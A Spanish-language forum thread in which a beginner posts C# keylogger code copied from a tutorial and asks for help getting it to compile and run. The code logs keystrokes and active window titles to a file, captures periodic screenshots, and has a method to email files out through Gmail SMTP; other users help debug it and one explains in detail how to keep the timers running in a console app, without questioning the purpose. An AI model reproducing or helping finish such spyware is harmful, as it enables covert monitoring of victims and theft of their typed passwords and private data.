Error en Codigo Minusculas a Mayusculas C#

Iniciado por GangstaSik, 20 Octubre 2018, 11:02 AM

0 Miembros y 4 Visitantes están viendo este tema.

GangstaSik

El siguiente codigo para detectar cuando se pulsa ShiftKey y CapsLock y asi registrar las mayusculas en un log lo saque de:

https://docplayer.es/3204615-Titulo-creacion-de-un-keylogger-lenguaje-c-autor-doddy-hackman-temario.html

private void timer1_Tick(object sender, EventArgs e)
    {
        for (int num = 0; num <= 255; num++)
        {
            int numcontrol = GetAsyncKeyState(num);
            if (numcontrol == -32767)
            {
                if (num >= 65 && num <= 122)
                    if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
                    Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num + 32).ToString();
                        savefile("logs.html", letra);
                    }
                    else if
                    (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else
                    {
                       
                        string letra = Convert.ToChar(num j + 32).ToString();
                        savefile("logs.html", letra);
                    }
            }
        }
    }

Al querer compilar en esa parte en especifico me salta el siguiente error:
Error   CS0103   El nombre 'j' no existe en el contexto actual   Main

Ya segui las recomendaciones de VS y nada funciona  :-[ , espero me puedan ayudar y gracias de antemano.





ivancea96

Código (cpp) [Seleccionar]
string letra = Convert.ToChar(num j + 32).ToString();
num j

z3nth10n


Interesados hablad por Discord.

GangstaSik

#3
Cita de: z3nth10n en 21 Octubre 2018, 16:36 PM
Básicamente, esa "j" no pinta nada ahí :rolleyes:

Gracias bro, ya elimine el string del num j.
Pero ahora me surgio otro problema, a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal? Disculpa que pregunte esque soy novato en esto.
:huh:

using System.Runtime.InteropServices;
using System.Drawing.Imaging;
using System.Net.Mail;
using System;
using System.Net;
using System.Windows.Forms;
using System.Text;
using System.Drawing;

class Program
{
   private static void Main(string[] args)
   {}

   [DllImport("User32.dll")]
   private static extern short GetAsyncKeyState(Keys teclas);
   [DllImport("user32.dll")]
   private static extern short GetAsyncKeyState(Int32 teclas);
   [DllImport("user32.dll")]
   private static extern short GetKeyState(Keys teclas);
   [DllImport("user32.dll")]
   private static extern short GetKeyState(Int32 teclas);
   [DllImport("user32.dll")]
   static extern IntPtr GetForegroundWindow();
   [DllImport("user32.dll")]
   static extern int GetWindowText(IntPtr ventana, StringBuilder
   cadena, int cantidad);

   string nombre1 = "";
   string nombre2 = "";

   public void savefile(string file, string texto)
   {
       try
       {
           System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
           save.Write(texto);
           save.Close();
       }
       catch
       {
           //
       }
   }

   private void timer1_Tick(object sender, EventArgs e)
   {
       for (int num = 0; num <= 255; num++)
       {
           int numcontrol = GetAsyncKeyState(num);
           if (numcontrol == -32767)
           {
               if (num >= 65 && num <= 122)
                   if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
                   Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                   {

                       string letra = Convert.ToChar(num + 32).ToString();
                       savefile("logs.html", letra);
                   }
                   else if
                   (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                   {

                       string letra = Convert.ToChar(num).ToString();
                       savefile("logs.html", letra);
                   }
                   else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                   {

                       string letra = Convert.ToChar(num).ToString();
                       savefile("logs.html", letra);
                   }
                   
           }
       }
   }

   private void timer2_Tick(object sender, EventArgs e)
   {
       const int limite = 256;
       StringBuilder buffer = new StringBuilder(limite);
       IntPtr manager = GetForegroundWindow();

       if (GetWindowText(manager, buffer, limite) > 0)
       {
           nombre1 = buffer.ToString();
           if (nombre1 != nombre2)
           {
               nombre2 = nombre1;
               savefile("logs.html", "<br>[" + nombre2 + "]<br>");
           }
       }
   }

   public void screenshot(string nombre)
   {
       try
       {
           int wid = Screen.GetBounds(new Point(0, 0)).Width;
           int he = Screen.GetBounds(new Point(0, 0)).Height;
           Bitmap now = new Bitmap(wid, he);
           Graphics grafico = Graphics.FromImage((Image)now);
           grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he));
           now.Save(nombre, ImageFormat.Jpeg);
       }
       catch
       {
           //
       }
   }

   private void timer3_Tick(object sender, EventArgs e)
   {
       string fecha = DateTime.Now.ToString("h:mm:ss tt");

       string nombrefinal = fecha.Trim() + ".jpg";

       string final = nombrefinal.Replace("_", "_");
       screenshot(final);
   }

   public void Gmail_Send(string usuario, string password, string
   target, string asunto, string mensaje_texto, string rutaarchivo)
   {
       MailAddress de = new MailAddress(usuario);
       MailAddress a = new MailAddress(target);
       MailMessage mensaje = new MailMessage(de, a);
       mensaje.Subject = asunto;
       mensaje.Body = mensaje_texto;
       Attachment archivo = new Attachment(rutaarchivo);

       mensaje.Attachments.Add(archivo);
       SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587);

       gmailsender.UseDefaultCredentials = true;
       gmailsender.EnableSsl = true;
       gmailsender.Credentials = new NetworkCredential("TuMail@gmail.com", "Contraseña");
       gmailsender.Send(mensaje);
   }


}

z3nth10n


Interesados hablad por Discord.

GangstaSik

#5
Pues ya intente lo del Console.Read();
pero ni asi quiere andar el codigo, yo digo que mas bien a de ser el metodo Main lo que esta mal.  :(
Alguien que me heche una mano por favor.

Eleкtro

#6
Cita de: GangstaSik en 22 Octubre 2018, 01:17 AM
a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal?

Has descrito el comportamiento normal y esperado, ¿qué otra cosa esperabas?, jeje, tu método Main no contiene ninguna orden de interrupción (ej. Console.Read(); como ya mencionaron), por ende, la ejecución finalizará practicamente al instante despues de ejecutar el programa.  

Aparte, otra cosa muy importante a destacar, es que, cuando vayas a "configurar" los timers, debes tener en cuenta que por el hecho de añadir y activar un timer en una aplicación de consola eso no implica que por arte de magia la ejecución de la aplicación se vaya a poner en modo 'stand by'.
Hay diversas metodologías para solventar esto, como por ejemplo la utilización de un semáforo o similar (ej. clase Semaphore, o EventWaitHandle), o realizar una simple llamada a la función Console.Read() al final del método Main, o en su lugar un bucle "infinito" con llamadas al método Thread.Sleep(), o sencillamente crear un búcle de mensajes para el thread actual simplemente realizando una llamada al método System.Windows.Forms.Application.Run().

Ah, y por último, advertirte de que no se te ocurra usar la clase System.Windows.Forms.Timer puesto que está especificamente diseñado para ser usado en el entorno single-threaded (STA) de una aplicación con interffaz gráfica (GUI) y te dará problemas - no perceptibles a simple vista - de sincronización y de uso multi-threading en general. Utiliza la clase System.Threading.Timer en su lugar, o si prefieres puedes usar la clase System.Timers.Timer, sus diferencias en el modo de empleo son mínimas, y ambos cumplen con una implementación thread-safe.




Cita de: GangstaSik en 23 Octubre 2018, 11:08 AM
Pues ya intente lo del Console.Read();
pero ni asi quiere andar el codigo

Cita de: GangstaSik en 23 Octubre 2018, 11:08 AM
yo digo que mas bien a de ser el metodo Main lo que esta mal. :(

Y lo está. Quizás no entendiste bien lo que quiso decir el compañero @centurión, digo @zentillón, no... @z3nth10n (acho, qué nombre más chungo de escribir xD, me niego a pronunciarlo de nuevo, a partir de ahora: @Morty), en fin, el caso es que la orden Console.Read(); deberías añadirla a final del bloque del método Main, por la razón ya explicada más arriba.

Saludos.